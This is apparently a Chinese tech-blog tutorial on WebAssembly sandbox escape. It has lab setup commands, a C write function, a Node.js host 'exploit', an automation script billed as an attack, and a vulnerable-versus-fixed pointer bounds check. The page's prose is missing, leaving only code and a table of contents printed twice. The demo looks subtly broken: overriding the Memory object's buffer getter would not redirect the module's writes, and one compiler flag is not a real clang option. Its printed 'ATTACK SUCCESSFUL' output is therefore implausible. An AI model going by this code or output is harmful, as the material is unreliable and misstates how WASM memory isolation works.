WebAssembly 运行时沙箱逃逸与内存安全实战

WebAssembly 运行时沙箱逃逸与内存安全实战 | 极客日志

[Host Environment]
    |
    +-- [WASM Runtime] (Manages & Bounds Check)
            |
            +-- [WASM Instance] (Contains Linear Memory, Import/Export Table)
                    |
                    +-- [WASM Code Binary]
                    +-- [Imported Host Functions] (e.g., console.log, fetch)
                    +-- [Exported WASM Function]

# 下载并解压
wget https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-20/wasi-sdk-20.0-linux.tar.gz
tar -xzf wasi-sdk-20.0-linux.tar.gz

# 在 Linux/macOS 上安装 Wasmer
curl https://get.wasmer.io -sSfL | sh

# 临时配置环境变量
export WASI_SDK_PATH=/opt/wasi-sdk-20.0
export PATH=$WASI_SDK_PATH/bin:$PATH

# Dockerfile for WASM Security Lab
FROM ubuntu:22.04

# 避免交互式安装
ENV DEBIAN_FRONTEND=noninteractive

# 安装基础依赖
RUN apt-get update && apt-get install -y \
    curl \
    wget \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

# 安装 Wasmer
RUN curl https://get.wasmer.io -sSfL | sh

# 安装 wasi-sdk
ENV WASI_SDK_VERSION=20.0
ENV WASI_SDK_TAR=wasi-sdk-${WASI_SDK_VERSION}-linux.tar.gz
RUN wget https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-${WASI_SDK_VERSION%.*}/${WASI_SDK_TAR} && \
    tar -xzf ${WASI_SDK_TAR} -C /opt && \
    rm ${WASI_SDK_TAR}

# 配置环境变量
ENV WASI_SDK_PATH=/opt/wasi-sdk-${WASI_SDK_VERSION}
ENV PATH="${WASI_SDK_PATH}/bin:${PATH}:/root/.wasmer/bin"

# 设置工作目录
WORKDIR /app

# 启动一个交互式 shell
CMD ["/bin/bash"]

# 构建镜像
docker build -t wasm-sec-lab .

# 运行容器并进入交互式环境
docker run -it --rm --name wasm-lab wasm-sec-lab

#include <stdio.h>
#include <stdlib.h>

/*
 * 警告：本代码仅用于授权的渗透测试和安全研究。
 * 未经授权的攻击是非法行为。
 *
 * 功能：在 WASM 线性内存的指定偏移处写入一个 32 位整数。
 * 这个函数本身是安全的，因为它受 WASM 运行时的边界检查保护。
 * 漏洞将出现在宿主如何设置和共享内存上。
 */
void write_value(int offset, int value) {
    // WASM 的线性内存基地址为 0。
    // 我们将 offset 视为从内存开始处的字节偏移。
    int* p = (int*)((char*)0 + offset);
    
    // 关键点：在 WASM 内部，这个写操作会被运行时检查。
    // 如果 `offset` 超出了线性内存的边界，程序会立即崩溃（trap）。
    // 但是，如果宿主将自己的内存暴露给了 WASM，而这个边界又设置得不正确，
    // 那么这个'安全'的写操作就可能写到宿主的关键数据上。
    printf("[WASM] Writing value %d to offset %d\n", value, offset);
    *p = value;
}

# 编译命令
# --no-standard-files: 我们不需要标准的 C 库入口，因为我们只导出一个函数
# -Wl,--export-all: 导出所有函数（这里是 write_value）
# -Wl,--no-entry: 告诉链接器没有 main 函数
# -o vuln.wasm: 输出文件名
clang \
--target=wasm32 \
-O3 \
--no-standard-files \
-Wl,--export-all \
-Wl,--no-entry \
-o vuln.wasm \
vuln.c

// 警告：本脚本仅用于授权的渗透测试和安全研究。
const fs = require('fs');
const { WASI } = require('wasi');
const wasmer = require('@wasmer/wasi');

// 模拟一个包含敏感信息的宿主对象
const hostSecret = {
    apiKey: "SECRET_API_KEY_12345",
    value: 42
};
console.log("[Host] Initial secret object:", hostSecret);

async function main() {
    try {
        // 读取 WASM 二进制文件
        const wasmBytes = fs.readFileSync('./vuln.wasm');

        // --- 漏洞点开始 ---
        // 开发者错误地认为 WASM 模块只需要 1 页内存（64KB），
        // 但他为了'方便'，直接从一个更大的宿主缓冲区中'切'了一块给 WASM。
        // 这个缓冲区后面紧跟着敏感数据。
        const totalHostBufferSize = 128 * 1024; // 128KB
        const hostBuffer = Buffer.alloc(totalHostBufferSize);

        // 将敏感数据的值放入缓冲区，模拟真实场景中内存布局紧凑的情况
        // 假设它被放在了第 65540 (0x10004) 的位置
        const secretOffset = 65540;
        hostBuffer.writeInt32LE(hostSecret.value, secretOffset);
        console.log(`[Host] Placed secret value ${hostSecret.value} at offset ${secretOffset} in host buffer.`);

        // 错误地创建了一个视图，这个视图指向 hostBuffer 的前 64KB
        // 但 WASM 运行时接收的是整个 hostBuffer！
        const memoryForWasm = new WebAssembly.Memory({ initial: 1 }); // 1 页 = 64KB

        // 关键漏洞：一些运行时允许直接替换内存，或者在创建时就使用外部 buffer。
        // 在这个模拟中，我们假设 WASM 的内存空间实际上就是 hostBuffer 的前半部分。
        // 攻击者将利用这一点，尝试写入超出这 64KB 范围的数据。
        // 让我们模拟一个场景，WASM 的内存就是 hostBuffer。
        // 在真实的 WASM 实现中，这可能通过不安全的 API 实现。
        // 为了演示，我们直接让 WASM 的导出函数操作 hostBuffer。

        // 实例化 WASM 模块
        const module = await WebAssembly.compile(wasmBytes);
        const instance = await WebAssembly.instantiate(module, {
            // 模拟 WASM 的内存就是我们的 hostBuffer
            // 这是一个简化的攻击模型，真实攻击会利用运行时提供的 API
            // 来达到类似的效果。
            env: {
                memory: memoryForWasm
            }
        });

        // 替换 memory 的 buffer，这是浏览器中不允许但某些服务端运行时可能存在的风险
        // 或者更常见的是，宿主函数直接操作一个共享的 buffer
        Object.defineProperty(memoryForWasm, 'buffer', {
            get: () => hostBuffer
        });

        const { write_value } = instance.exports;
        // --- 漏洞点结束 ---

        // 步骤 1：正常的写入操作（在 64KB 边界内）
        console.log("\n--- Step 1: Normal Write (within bounds) ---");
        write_value(100, 999);
        console.log(`[Host] Value at offset 100 in host buffer: ${hostBuffer.readInt32LE(100)}`);

        // 步骤 2：攻击！尝试写入超出 WASM 声明的 64KB 内存边界
        // 我们要攻击的目标是位于 65540 的宿主秘密数据
        const attackOffset = secretOffset; // 65540
        const attackValue = 7777777;
        console.log(`\n--- Step 2: Attack Write (out of bounds) ---`);
        console.log(`[Attack] Attempting to write ${attackValue} to offset ${attackOffset}...`);

        // 核心攻击：调用 WASM 函数，但传入一个越界的偏移量
        // 因为 WASM 的内存实际上是更大的 hostBuffer，WASM 运行时的边界检查
        // 可能会基于整个 hostBuffer 的大小，而不是声明的 64KB。
        // 这取决于运行时的具体实现。一个不安全的实现会允许这次写入。
        try {
            // 在一个配置不当的运行时中，这个操作会成功
            // 因为 `attackOffset` 仍然在 `hostBuffer` 的边界内
            write_value(attackOffset, attackValue);

            // 检查宿主内存中的秘密数据是否被篡改
            const tamperedValue = hostBuffer.readInt32LE(secretOffset);
            console.log(`[Host] Value at secret offset ${secretOffset} is now: ${tamperedValue}`);
            if (tamperedValue === attackValue) {
                console.error("\n[!!!] ATTACK SUCCESSFUL: Host memory has been corrupted!");
                hostSecret.value = tamperedValue;
                console.log("[Host] Final secret object:", hostSecret);
            } else {
                console.log("[Host] Host memory seems unaffected.");
            }
        } catch (e) {
            console.error("\n[!!!] ATTACK FAILED: WASM runtime trapped the out-of-bounds access.", e.message);
        }
    } catch (error) {
        console.error("An error occurred:", error);
        process.exit(1);
    }
}
main();

npm init -y
npm install @wasmer/wasi

node host.js

[Host] Initial secret object: { apiKey: 'SECRET_API_KEY_12345', value: 42 }
[Host] Placed secret value 42 at offset 65540 in host buffer.
--- Step 1: Normal Write (within bounds) ---
[WASM] Writing value 999 to offset 100
[Host] Value at offset 100 in host buffer: 999
--- Step 2: Attack Write (out of bounds) ---
[Attack] Attempting to write 7777777 to offset 65540...
[WASM] Writing value 7777777 to offset 65540
[Host] Value at secret offset 65540 is now: 7777777
[!!!] ATTACK SUCCESSFUL: Host memory has been corrupted!
[Host] Final secret object: { apiKey: 'SECRET_API_KEY_12345', value: 7777777 }

import subprocess
import os
import sys

# --- 配置参数 ---
# WASI_SDK 路径，请根据您的实际环境修改
WASI_SDK_PATH = os.getenv("WASI_SDK_PATH", "/opt/wasi-sdk-20.0")
# 目标 C 文件名
C_FILE = "vuln.c"
# 输出 WASM 文件名
WASM_FILE = "vuln.wasm"
# 宿主 JS 文件名
HOST_FILE = "host.js"

def print_info(message):
    print(f"[INFO] {message}")

def print_success(message):
    print(f"\033[92m[SUCCESS] {message}\033[0m")

def print_error(message):
    print(f"\033[91m[ERROR] {message}\033[0m", file=sys.stderr)

def run_command(command, description):
    """执行一个 shell 命令并处理错误"""
    print_info(f"Executing: {description}")
    print_info(f"Command: {' '.join(command)}")
    try:
        # 使用 subprocess.run 来更好地控制执行
        result = subprocess.run(
            command,
            check=True, # 如果命令返回非零退出码，则抛出 CalledProcessError
            capture_output=True, # 捕获 stdout 和 stderr
            text=True # 以文本模式处理输出
        )
        if result.stdout:
            print(result.stdout)
        if result.stderr:
            print(result.stderr, file=sys.stderr)
        return True
    except FileNotFoundError:
        print_error(f"Command not found: {command[0]}. Is it in your PATH?")
        return False
    except subprocess.CalledProcessError as e:
        print_error(f"Failed to execute '{description}'.")
        print_error(f"Return code: {e.returncode}")
        if e.stdout:
            print_error(f"STDOUT:\n{e.stdout}")
        if e.stderr:
            print_error(f"STDERR:\n{e.stderr}")
        return False
    except Exception as e:
        print_error(f"An unexpected error occurred: {e}")
        return False

def main():
    """
    自动化攻击流程：
    1. 检查依赖
    2. 编译 C 代码到 WASM
    3. 运行 Node.js 宿主
    4. 检查攻击结果
    """
    print_info("--- WASM Sandbox Escape Automation Script ---")
    print_info("WARNING: This script is for authorized security testing ONLY.")

    # 1. 检查依赖
    clang_path = os.path.join(WASI_SDK_PATH, "bin", "clang")
    if not os.path.exists(clang_path):
        print_error(f"Clang not found at {clang_path}. Is WASI_SDK_PATH correct?")
        sys.exit(1)

    # 2. 编译 C 代码到 WASM
    compile_command = [
        clang_path,
        "--target=wasm32",
        "-O3",
        "--no-standard-files",
        "-Wl,--export-all",
        "-Wl,--no-entry",
        "-o",
        WASM_FILE,
        C_FILE
    ]
    if not run_command(compile_command, "Compile C to WASM"):
        sys.exit(1)
    print_success(f"WASM module '{WASM_FILE}' compiled successfully.")

    # 3. 运行 Node.js 宿主并捕获输出
    print_info(f"Running Node.js host '{HOST_FILE}'...")
    try:
        result = subprocess.run(["node", HOST_FILE], capture_output=True, text=True, check=True)
        output = result.stdout
        print(output)

        # 4. 检查攻击结果
        if "ATTACK SUCCESSFUL" in output:
            print_success("Attack simulation completed. Host memory was corrupted as expected.")
        elif "ATTACK FAILED" in output:
            print_error("Attack simulation failed. The runtime correctly trapped the access.")
        else:
            print_error("Attack result is inconclusive. Check the output above.")
    except subprocess.CalledProcessError as e:
        print_error(f"Node.js host script failed to run.")
        print_error(f"Return code: {e.returncode}")
        print_error(f"STDOUT:\n{e.stdout}")
        print_error(f"STDERR:\n{e.stderr}")
        sys.exit(1)
    except FileNotFoundError:
        print_error("`node` command not found. Is Node.js installed and in your PATH?")
        sys.exit(1)

if __name__ == "__main__":
    main()

// 错误：直接信任来自 WASM 的指针和长度
function read_data_from_wasm(wasm_instance, ptr, len) {
    const memory = wasm_instance.exports.memory;
    // 漏洞：没有检查 ptr 和 len 是否在 memory.buffer 的有效范围内
    const slice = new Uint8Array(memory.buffer, ptr, len);
    // ... 处理数据 ...
    return slice;
}

// 正确：严格验证指针和长度
function read_data_from_wasm(wasm_instance, ptr, len) {
    const memory = wasm_instance.exports.memory;
    const memory_size = memory.buffer.byteLength;

    // 防御 1：检查指针和长度是否为非负数
    if (ptr < 0 || len < 0) {
        throw new Error("Pointer and length must be non-negative.");
    }

    // 防御 2：检查 ptr 是否在边界内
    if (ptr >= memory_size) {
        throw new Error("Pointer is out of bounds.");
    }

    // 防御 3：检查 ptr + len 是否会导致越界（注意整数溢出）
    if (ptr + len > memory_size) {
        throw new Error("Read operation would go out of bounds.");
    }

    const slice = new Uint8Array(memory.buffer, ptr, len);
    // ... 处理数据 ...
    return slice;
}

WebAssembly 运行时沙箱逃逸与内存安全实战

WebAssembly (WASM) 运行时沙箱逃逸与内存安全实战

前言

1. 技术背景

2. 学习价值

3. 使用场景

一、WebAssembly (WASM) 是什么

1. 精确定义

2. 一个通俗类比

3. 实际用途

4. 技术本质说明

二、环境准备

1. 工具版本

2. 下载方式

3. 核心配置命令

4. 可运行环境命令或 Docker

三、核心实战：利用线性内存缺陷

1. 漏洞代码 (C 语言)

2. 编译为 WASM

3. 漏洞宿主环境 (Node.js)

4. 运行与结果

5. 自动化攻击脚本

四、进阶技巧

1. 常见错误

2. 性能 / 成功率优化

3. 实战经验总结

4. 对抗 / 绕过思路

五、注意事项与防御

1. 错误写法 vs 正确写法

2. 风险提示

3. 开发侧安全代码范式

4. 运维侧加固方案

5. 日志检测线索

总结

更多推荐文章

相关免费在线工具

WebAssembly 运行时沙箱逃逸与内存安全实战

WebAssembly (WASM) 运行时沙箱逃逸与内存安全实战

前言

1. 技术背景

2. 学习价值

3. 使用场景

一、WebAssembly (WASM) 是什么

1. 精确定义

2. 一个通俗类比

3. 实际用途

4. 技术本质说明

二、环境准备

1. 工具版本

2. 下载方式

3. 核心配置命令

4. 可运行环境命令或 Docker

三、核心实战：利用线性内存缺陷

1. 漏洞代码 (C 语言)

2. 编译为 WASM

3. 漏洞宿主环境 (Node.js)

4. 运行与结果

5. 自动化攻击脚本

四、进阶技巧

1. 常见错误

2. 性能 / 成功率优化

3. 实战经验总结

4. 对抗 / 绕过思路

五、注意事项与防御

1. 错误写法 vs 正确写法

2. 风险提示

3. 开发侧安全代码范式

4. 运维侧加固方案

5. 日志检测线索

总结

微信扫一扫，关注极客日志

更多推荐文章

相关免费在线工具